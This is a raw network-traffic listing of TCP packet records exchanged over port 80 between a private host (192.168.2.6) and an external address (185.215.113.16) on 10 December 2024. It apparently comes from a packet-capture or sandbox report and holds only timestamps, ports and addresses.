Dec 10, 2024 02:50:30.881647110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.882400036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.882517099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.882616997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.883637905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.883686066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.883759975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.884778976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.884885073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.884937048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.885951996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.886030912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.886084080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.887074947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.887187958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.888181925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.888231993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.888355017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.889323950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.889378071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.889434099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.890358925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.890438080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.890530109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.891531944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.891577005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.891838074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.892663002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.892771959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.892831087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.893852949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.893981934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.894032001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.894901991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.895013094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.898288965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.898741961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.899228096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.899239063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.899249077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.899260044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.899271011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.899281025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.899296045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.899308920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.900170088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.900342941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.901437998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.901448011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.901503086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.902569056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.902581930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.903515100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.903572083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.903667927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.904658079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.904706001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.904843092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.905805111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.905853987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.905999899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.906259060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.907012939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.907025099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.908011913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.908067942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.908160925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.909159899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.909331083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.909393072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.910466909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.910639048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.911298990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.911360979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.911467075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.912638903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.912651062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.912684917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.913588047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.913885117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.913997889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.914117098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.914164066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.915121078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.915220976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.916260958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.916270971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.916338921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.916384935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.917366028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.917464972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.919538021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.919550896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.919596910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.919620991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.919699907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.920284033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.920747995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.920878887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.921890974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.921947002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.921977043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.923022032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.923072100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.923118114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.924149036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.924199104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.924313068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.925255060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.925354004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.925410986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.926415920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.926465034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.926512957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.927469969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.979007959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.060813904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.060910940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.061126947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.061172009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.061465979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.061569929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.062453985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.062511921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.062618971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.063596964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.063719034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.063779116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.064680099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.064735889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.064810038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.065841913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.065896988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.065920115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.066941023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.067536116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.067605019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.068065882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.068165064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.068198919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.069196939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.069308043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.069365978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.070323944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.070384979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.070417881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.071446896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.071496010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.071540117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.072556973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.072679996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.073714972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.073767900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.073829889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.074831963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.074932098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.074989080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.075943947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.076010942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.076047897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.077060938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.077121019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.077182055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.078188896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.078246117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.078264952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.079341888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.079448938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.079504013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.080455065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.080555916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.080607891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.081604004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.081737041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.081782103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.082693100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.082731962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.082765102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.083805084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.083947897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.084002018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.084939003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.085036993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.086050987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.086110115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.086183071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.087292910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.087305069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.087347031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.088340044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.088398933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.088479042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.089426994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.089488029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.089541912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.090555906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.090677977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.090735912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.091700077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.091754913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.091764927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.092792034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.092830896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.092915058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.093935013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.093997002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.094041109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.095057011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.095170975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.095227003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.096179008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.096241951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.096257925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.097420931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.097539902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.097599983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.098436117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.098552942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.099580050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.099601984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.099621058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.099672079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.100708008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.100783110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.100810051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.101797104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.101901054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.101984978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.102925062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.102999926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.103039980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.104068995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.104151011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.104203939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.105149031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.105201960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.105262041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.106326103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.106380939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.106419086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.107460976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.107513905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.107558966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.108566046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.108660936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.109694958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.109750032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.109800100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.110811949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.110912085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.110966921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.111968040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.112123013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.112263918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.113040924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.113178015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.113692999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.114221096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.114279032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.114309072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.115318060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.115447998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.116250038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.116437912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.116532087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.117583990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.117625952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.117656946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.118788958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.118834972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.118891954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.252921104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.253015041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.253061056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.253375053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.253515959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.253546953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.254561901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.254633904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.254667044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.255625010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.255783081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.255871058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.256812096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.256900072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.256941080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.257908106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.258023977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.258061886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.258987904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.259114027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.259150028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.260123968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.260243893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.260278940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.261235952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.261339903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.261389017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.262394905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.262496948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.262531996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.263482094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.263596058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.263628960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.264617920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.264710903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.264755011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.265727043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.265855074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.265893936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.266920090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.267052889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.267117023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.267992020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.268115044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.268151045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.269092083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.269207001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.269243002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.270246029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.270360947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.270394087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.271356106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.271459103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.271493912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.272526979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.272591114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.272631884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.273622036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.273806095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.273835897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.274719000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.274893045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.274930000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.275878906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.275966883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.276005030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.277050018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.277133942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.277170897 CET	49752	80	192.168.2.6	185.215.113.16
